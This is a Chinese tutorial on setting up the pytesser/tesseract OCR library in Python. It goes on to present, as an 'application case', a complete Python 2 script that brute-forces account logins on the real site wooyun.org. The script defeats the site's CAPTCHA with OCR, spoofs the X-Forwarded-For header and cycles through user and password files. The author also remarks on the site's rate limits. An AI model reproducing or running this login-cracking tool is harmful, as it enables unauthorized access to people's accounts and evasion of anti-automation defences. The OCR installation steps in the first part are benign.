pytesser是谷歌OCR开源项目的一个模块，在python中导入这个模块即可将图片中的文字转换成文本。
链接：https://code.google.com/p/pytesser/
pytesser 调用了 tesseract。在python中调用pytesser模块，pytesser又用tesseract识别图片中的文字。
下面是windows下整个过程的实现步骤：
安装PIL、pytesser、tesseract
(1)安装PIL：下载地址：http://www.pythonware.com/products/pil/
(2)pytesser:下载地址：http://code.google.com/p/pytesser/,下载解压后所有文件直接放在代码相同的文件夹下，即可使用。
(3)Tesseract OCR engine下载：http://code.google.com/p/tesseract-ocr/，下载后解压，找到tessdata文件夹，用其替换掉pytesser解压后的tessdata文件夹即可。
ps:如果嫌麻烦不想将pytesser程序放在每个项目代码的目录下，可以将pytesser下载后的文件（所有文件，包括tesseract.exe，testdata目录）解压后放在python安装目录的site-packages下，并且在程序中使用os.chdir(‘C:\\Python27\\Lib\\site-packages’)来指定python程序运行的目录，否则会出现WindowsError: [Error 2] The system cannot find the file specified 。当然，将pytesser的所有文件放在和项目代码同目录下是最简便的方法，且不容易报错。可以参考：http://blog.sina.com.cn/s/blog_a73687bc0101dpcg.html。
ubuntu下使用：
- apt-get install tesseract-ocr
- http://code.google.com/p/pytesser/downloads/list下载pytesser（可以pip install pytesseract安装）
- Python Imaging Library (PIL)
测试代码：
import os
os.chdir('C:\\Python27\\Lib\\site-packages')
from pytesser import *
image=Image.open(r'C:/1.jpg')
print image
print image_to_string(image)
print image_file_to_string('C:/1.jpg')
详细的使用以及识别率低的改进可参考一下文章：
1、wxPython利用pytesser模块实现图片文字识别
应用案例：
乌云账号暴力猜解工具（http://zone.wooyun.org/content/15378）
需要预安装如下程序
1、pytesseract （可以pip install pytesseract安装）
2、Python Imaging Library (PIL)
3、tesseract-ocr
原理：
1、利用tesseract 进行验证码的识别。
2、post暴力猜解
问题1.验证码的识别率
进行了一次处理，从正则里可以看到pattern = ‘^[a-zA-Z0-9]{4}$’ 只取识别为4位的字符，如果不是则重新请求验证码，这个在很大程度上提高了识别率。
问题2.服务端频率验证
经过我两天的实验观察，早上会有次数限制，连续两天的下午我尝试了大于1161次的登陆都没有限制，不知道是什么原因，也许是我网络问题
#coding: utf-8
#date: 2014/09/23
#author: titans
import cookielib
import urllib2
import urllib
import socket
import sys
import time
import re
import Image
import pytesseract
def guess_login(url, users, passwords):
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders = [
('User-Agent','Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0'),
('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),
('Accept-Encoding','gzip, deflate'),
('Connection', 'keep-alive'),
('X-Forwarded-For','127.0.0.1'),
]
urllib2.install_opener(opener)
captcha = ''
catp_url = 'http://www.wooyun.org/captcha.php'
pattern = '^[a-zA-Z0-9]{4}$'
regex = re.compile(pattern)
for user in users:
user = user.strip()
find = False
for password in passwords:
while_mark = 1
password = password.strip()
while(while_mark):
opener.open(url)
pic = opener.open(catp_url)
content = pic.read()
f = open('c:\\temp\capta.jpg','wb')
f.write(content)
f.close()
time.sleep(1)
captcha = pytesseract.image_to_string(Image.open('c:\\temp\capta.jpg'))
re_result = regex.match(captcha)
if re_result:
print user, password, captcha
post_data = 'email=%s&password=%s&captcha=%s'%(user,password,captcha)
post_url = 'http://www.wooyun.org/user.php?action=login&do=login'
resp = opener.open(post_url,post_data)
while_mark = 0
cookies = resp.info().getheaders('Set-Cookie')
if len(cookies):
find = True
raw_input('Get it!!%s %s'%(user,password))
else:
print '[*]Repeat request'
pass
if find == True:
break
def run():
if len(sys.argv) !=3:
usage()
url = 'http://www.wooyun.org/user.php?action=login'
users = open(sys.argv[1],'r').readlines()
passwords = open(sys.argv[2],'r').readlines()
guess_login(url, users, passwords)
def usage():
print 'wooyun.py users.txt passwords.txt'
exit(0)
if __name__ == '__main__':
run()
windows下可以使用，如果linux下测试，修改存放验证码的路径c:\\temp\capta.jpg 为linux下的路径即可
usage: wooyun.py users.txt passwords.txt
其他参考资料：
1、http://www.imop.us/v/MTg1NQ==.html
